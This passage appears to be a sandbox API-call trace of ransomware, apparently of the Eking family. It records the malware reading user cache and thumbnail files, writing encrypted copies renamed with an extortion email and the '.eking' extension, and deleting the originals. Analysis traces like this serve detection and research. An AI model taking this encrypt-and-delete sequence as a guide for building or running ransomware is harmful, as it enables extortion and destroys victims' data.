HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000017.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000017.db"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0280.824] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x313fcd0 | out: lpFileSize=0x313fcd0*=121424) returned 1 [0280.825] CloseHandle (hObject=0x1c0) returned 1 [0280.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000017.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000017.db")) returned 0x2020 [0280.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000017.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000017.db")) returned 0x2020 [0280.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000017.db.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000017.db.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0280.825] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000017.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000017.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0280.825] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fc98 | out: lpNewFilePointer=0x0) returned 1 [0280.825] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fc98 | out: lpNewFilePointer=0x0) returned 1 [0280.825] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000017.db.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000017.db.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1ac [0280.826] ReadFile (in: hFile=0x1c0, lpBuffer=0x3490020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x313fca4, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesRead=0x313fca4*=0x1da50, lpOverlapped=0x0) returned 1 [0280.837] WriteFile (in: hFile=0x1ac, lpBuffer=0x3490020*, nNumberOfBytesToWrite=0x1da60, lpNumberOfBytesWritten=0x313fc88, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesWritten=0x313fc88*=0x1da60, lpOverlapped=0x0) returned 1 [0280.840] WriteFile (in: hFile=0x1ac, lpBuffer=0x3490020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x313fc88, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesWritten=0x313fc88*=0x162, lpOverlapped=0x0) returned 1 [0280.840] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313f9f8 | out: lpNewFilePointer=0x0) returned 1 [0280.840] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313f9f8 | out: lpNewFilePointer=0x0) returned 1 [0280.840] WriteFile (in: hFile=0x1c0, lpBuffer=0x3490020*, nNumberOfBytesToWrite=0x1da50, lpNumberOfBytesWritten=0x313fa04, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesWritten=0x313fa04*=0x1da50, lpOverlapped=0x0) returned 1 [0280.841] FlushFileBuffers (hFile=0x1c0) returned 1 [0280.898] FlushFileBuffers (hFile=0x1ac) returned 1 [0280.900] CloseHandle (hObject=0x1c0) returned 1 [0280.906] CloseHandle (hObject=0x1ac) returned 1 [0280.906] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000017.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000017.db")) returned 1 [0280.908] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000018.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000018.db"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0280.908] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x313fcd0 | out: lpFileSize=0x313fcd0*=118528) returned 1 [0280.908] CloseHandle (hObject=0x1ac) returned 1 [0280.908] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000018.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000018.db")) returned 0x2020 [0280.908] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000018.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000018.db")) returned 0x2020 [0280.908] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000018.db.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000018.db.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0280.908] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000018.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000018.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0280.908] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fc98 | out: lpNewFilePointer=0x0) returned 1 [0280.908] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fc98 | out: lpNewFilePointer=0x0) returned 1 [0280.908] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000018.db.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000018.db.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1c0 [0280.909] ReadFile (in: hFile=0x1ac, lpBuffer=0x3490020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x313fca4, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesRead=0x313fca4*=0x1cf00, lpOverlapped=0x0) returned 1 [0280.913] WriteFile (in: hFile=0x1c0, lpBuffer=0x3490020*, nNumberOfBytesToWrite=0x1cf10, lpNumberOfBytesWritten=0x313fc88, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesWritten=0x313fc88*=0x1cf10, lpOverlapped=0x0) returned 1 [0280.916] WriteFile (in: hFile=0x1c0, lpBuffer=0x3490020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x313fc88, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesWritten=0x313fc88*=0x162, lpOverlapped=0x0) returned 1 [0280.916] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313f9f8 | out: lpNewFilePointer=0x0) returned 1 [0280.916] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313f9f8 | out: lpNewFilePointer=0x0) returned 1 [0280.916] WriteFile (in: hFile=0x1ac, lpBuffer=0x3490020*, nNumberOfBytesToWrite=0x1cf00, lpNumberOfBytesWritten=0x313fa04, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesWritten=0x313fa04*=0x1cf00, lpOverlapped=0x0) returned 1 [0280.917] FlushFileBuffers (hFile=0x1ac) returned 1 [0280.927] FlushFileBuffers (hFile=0x1c0) returned 1 [0281.002] CloseHandle (hObject=0x1ac) returned 1 [0281.002] CloseHandle (hObject=0x1c0) returned 1 [0281.002] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000018.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000018.db")) returned 0 [0281.002] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_1024.db"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0281.003] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x313fcd0 | out: lpFileSize=0x313fcd0*=24) returned 1 [0281.003] CloseHandle (hObject=0x1c0) returned 1 [0281.003] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_1024.db")) returned 0x2020 [0281.003] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_1024.db")) returned 0x2020 [0281.003] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_1024.db.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0281.003] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_1024.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0281.003] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fc98 | out: lpNewFilePointer=0x0) returned 1 [0281.003] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fc98 | out: lpNewFilePointer=0x0) returned 1 [0281.003] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_1024.db.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1ac [0281.004] ReadFile (in: hFile=0x1c0, lpBuffer=0x3490020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x313fca4, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesRead=0x313fca4*=0x18, lpOverlapped=0x0) returned 1 [0281.005] WriteFile (in: hFile=0x1ac, lpBuffer=0x3490020*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x313fc88, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesWritten=0x313fc88*=0x20, lpOverlapped=0x0) returned 1 [0281.006] WriteFile (in: hFile=0x1ac, lpBuffer=0x3490020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x313fc88, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesWritten=0x313fc88*=0x102, lpOverlapped=0x0) returned 1 [0281.006] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313f9f8 | out: lpNewFilePointer=0x0) returned 1 [0281.006] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313f9f8 | out: lpNewFilePointer=0x0) returned 1 [0281.007] WriteFile (in: hFile=0x1c0, lpBuffer=0x3490020*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x313fa04, lpOverlapped=0x0 | out: lpBuffer=0x3490020*, lpNumberOfBytesWritten=0x313fa04*=0x18, lpOverlapped=0x0) returned 1 [0281.007] FlushFileBuffers (hFile=0x1c0) Thread: id = 83 os_tid = 0x608 [0195.026] GetProcessHeap () returned 0x550000 [0195.026] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25b0070 [0195.026] GetProcessHeap () returned 0x550000 [0195.026] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25c0078 [0195.027] GetProcessHeap () returned 0x550000 [0195.027] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x28) returned 0x5725a0 [0195.027] GetProcessHeap () returned 0x550000 [0195.027] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x110102) returned 0x35b0020 [0195.027] GetProcessHeap () returned 0x550000 [0195.027] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x50) returned 0x572470 [0195.027] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x770d0000 [0195.027] GetProcAddress (hModule=0x770d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x770fd650 [0195.027] Wow64DisableWow64FsRedirection (in: OldValue=0x324f9bc | out: OldValue=0x324f9bc*=0x0) returned 1 [0195.028] GetProcessHeap () returned 0x550000 [0195.028] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x572470 | out: hHeap=0x550000) returned 1 [0195.028] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.028] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.028] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.028] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.028] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.028] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.028] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.028] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.028] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.028] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.029] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.029] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.029] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.029] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.029] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.029] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.029] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.077] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.077] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.078] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.078] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.078] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.078] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.078] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.078] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.078] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.078] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.078] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.078] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.078] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.079] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.079] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.079] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.079] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.079] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.079] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.079] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.080] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.080] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.080] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.080] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.080] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.080] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.080] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.081] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.081] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.081] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.081] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.081] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.081] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.082] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.082] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.082] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.082] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.082] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.082] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.082] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.083] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.083] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.083] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.083] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.083] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.083] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.083] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.083] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.083] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.084] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.084] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.084] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.084] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.084] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.084] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.084] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.084] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.085] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.085] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.085] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.085] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.085] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.085] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.085] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.086] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.086] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.086] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.086] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.086] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.086] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.086] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.086] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.086] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.087] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.087] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.087] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.090] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.090] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.090] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.090] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.090] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.090] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.091] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.091] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.091] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.091] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.091] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.091] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.091] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.091] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.091] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.091] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.092] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.092] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.092] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.092] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.092] 